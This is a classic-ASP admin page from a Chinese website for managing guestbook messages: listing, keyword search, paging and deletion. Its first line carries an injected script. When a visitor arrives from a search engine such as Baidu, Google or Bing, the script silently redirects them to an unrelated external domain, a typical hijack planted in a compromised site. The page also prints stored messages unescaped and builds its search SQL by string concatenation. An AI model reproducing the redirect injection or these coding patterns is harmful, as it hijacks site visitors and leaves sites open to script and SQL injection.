d:\wwwroot\wuchunhua\admin\message.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="conn.asp"-->
002:
<%
if session("china_admin")="" then
003:
response.redirect "login.asp"
004:
end if
005:
006:
dim sql,rs
007:
keyword=replace(trim(request.form("keyword")),"'","")
008:
if keyword <>"" then
009:
sql="select * from china_message where ( messagename like '%" & keyword & "%' or messagelxfs like '%" & keyword & "%' or messagetext like '%" & keyword & "%' ) and zn='no'order by id desc"
010:
else
011:
sql="select * from china_message where zn='no' order by id desc"
012:
end if
013:
set rs=server.createobject("adodb.recordset")
014:
rs.open sql,conn,1,1
%
>
015:
<html>
016:
<head>
017:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
018:
<title>现有留言列表</title>
019:
<link rel="stylesheet" type="text/css" href="style.css">
020:
</head>
021:
022:
<body>
023:
<SCRIPT language=javascript>
024:
function CheckAll(form)
025:
{
026:
for (var i=0;i<form.elements.length;i++)
027:
{
028:
var e = form.elements[i];
029:
if (e.Name != "chkAll")
030:
e.checked = form.chkAll.checked;
031:
}
032:
}
033:
function Checked()
034:
{
035:
var j = 0
036:
for(i=0;i < document.form.elements.length;i++){
037:
if(document.form.elements[i].name == "adid"){
038:
if(document.form.elements[i].checked){
039:
j++;
040:
}
041:
}
042:
}
043:
return j;
044:
}
045:
046:
function DelAll()
047:
{
048:
if(Checked() <= 0){
049:
alert("您至少选择1条留言!");
050:
}
051:
else{
052:
if(confirm("确定要删除选择的留言吗？\n此操作不可以恢复！")){
053:
form.action="del.asp?del=message";
054:
form.submit();
055:
}
056:
}
057:
}
058:
059:
</SCRIPT>
060:
<FORM name=form method=post>
061:
<table width="98%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#799AE1">
062:
<tr>
063:
<td height="20" bgcolor="#799AE1" align="center">
064:
<table width="98%" border="0" cellspacing="0" cellpadding="0">
065:
<tr>
066:
<td align="center"><font color="#FFFFFF" style="font-size:14px">留 言 信 息 管 理</font></td>
067:
<td width="35"><INPUT title=删除 onclick=DelAll() type=button value=删除 name=Submit></td>
068:
</tr>
069:
</table></td>
070:
</tr>
071:
<tr>
072:
<td bgcolor="#FFFFFF"> <br>
073:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bordercolorlight="#000000" bordercolordark="#FFFFFF" bgcolor="#D6DFF7">
074:
<tr bgcolor="#FFFFFF">
075:
<td width="30" align="center">编号</td>
076:
<td align="center">留言人</td>
077:
<td align="center">联系方式</td>
078:
<td align="center">留言内容</td>
079:
<td width="25" align="center">IP</td>
080:
<td width="40" align="center">来源</td>
081:
<td width="80" align="center">留言日期</td>
082:
<td width="30" align="center"><input id=chkAll
083:
onClick=CheckAll(this.form) type=checkbox
084:
value=checkbox name=chkAll></td>
085:
</tr>
086:
<%
if rs.eof or rs.bof then
087:
response.write"<tr bgcolor=#FFFFFF><td colspan='10'><p align='center'><font color='red'>暂无留言信息！</font></td></tr></table><br>"
088:
response.end
089:
else
090:
const maxperpage=20
091:
dim currentpage
092:
rs.pagesize=maxperpage
093:
currentpage=request.querystring("pageid")
094:
if isnumeric(currentpage)=false then
095:
response.write "<script>alert('参数错误，关闭窗口！');window.close();</script>"
096:
response.end
097:
end if
098:
if currentpage="" then
099:
currentpage=1
100:
elseif currentpage<1 then
101:
currentpage=1
102:
else
103:
currentpage=clng(currentpage)
104:
if currentpage > rs.pagecount then
105:
currentpage=rs.pagecount
106:
end if
107:
end if
108:
109:
dim totalput,n
110:
totalput=rs.recordcount
111:
if totalput mod maxperpage=0 then
112:
n=totalput\maxperpage
113:
else
114:
n=totalput\maxperpage+1
115:
end if
116:
if n=0 then
117:
n=1
118:
end if
119:
rs.move(currentpage-1)*maxperpage
120:
i=0
121:
do while i< maxperpage and not rs.eof
%
>
122:
<tr bgcolor="#FFFFFF">
123:
<td><p align="center">
<%
=i+currentpage*maxperpage-maxperpage+1
%
></td>
124:
<td valign="top">
<%
=rs("messagename")
%
> </td>
125:
<td valign="top">
<%
=rs("messagelxfs")
%
></td>
126:
<td valign="top">
<%
=rs("messagetext")
%
></td>
127:
<td align="center">
<%
If rs("ip")<>"" Then
%
>
128:
<a href="../ip.asp?ip=
<%
=rs("ip")
%
>" target="_blank">查</a>
129:
<%
Else
%
>无
<%
End If
%
></td>
130:
<td align="center" valign="top"><a href="../html/
<%
=rs("adid")
%
>.htm" target="_blank">查看</a></td>
131:
<td><p align="center">
<%
=rs("messagedate")
%
></td>
132:
<td align="center"><input type="checkbox" name="adid" value="
<%
=rs("id")
%
>" onClick=Checked(form)></td>
133:
</tr>
134:
<%
i=i+1
135:
rs.movenext
136:
loop
137:
rs.close
138:
set rs=nothing
139:
conn.close
140:
set conn=nothing
141:
end if
%
>
142:
</table>
143:
<br>
144:
</td>
145:
</tr>
146:
</table></FORM>
147:
<table width="98%" border="0" align="center" cellpadding="1" cellspacing="1" bgcolor="#799AE1">
148:
<tr>
149:
<td height="20" bgcolor="#FFFFFF"><p align="center">页数：
<%
=currentpage
%
>/
<%
=n
%
>
150:
<%
k=currentpage
151:
if k<>1 then
%
>
152:
<a href="?pageid=1">首页</a>
153:
<a href="?pageid=
<%
=k-1
%
>">上一</a>
154:
<%
else
%
>
155:
首页 上一页
156:
<%
end if
%
>
157:
<%
if k<>n then
%
>
158:
<a href="?pageid=
<%
=k+1
%
>">下一</a>
159:
<a href="?pageid=
<%
=n
%
>">尾页</a>
160:
<%
else
%
>
161:
下一页 尾页
162:
<%
end if
%
>
163:
共有
<%
=totalput
%
> 条留言 </td>
164:
<form action="" method="post" name="search"><td width="240" align="center" bgcolor="#FFFFFF">关键字
165:
<input maxLength="20" name="keyword" onfocus="this.value=''" size="18" value="
<%
=keyword
%
>">
166:
<input type="submit" value="搜索" style="font-size: 12px" name="search"></td>
167:
</form>
168:
</tr>
169:
</table>
170:
</body>
171:
</html>
172:
173: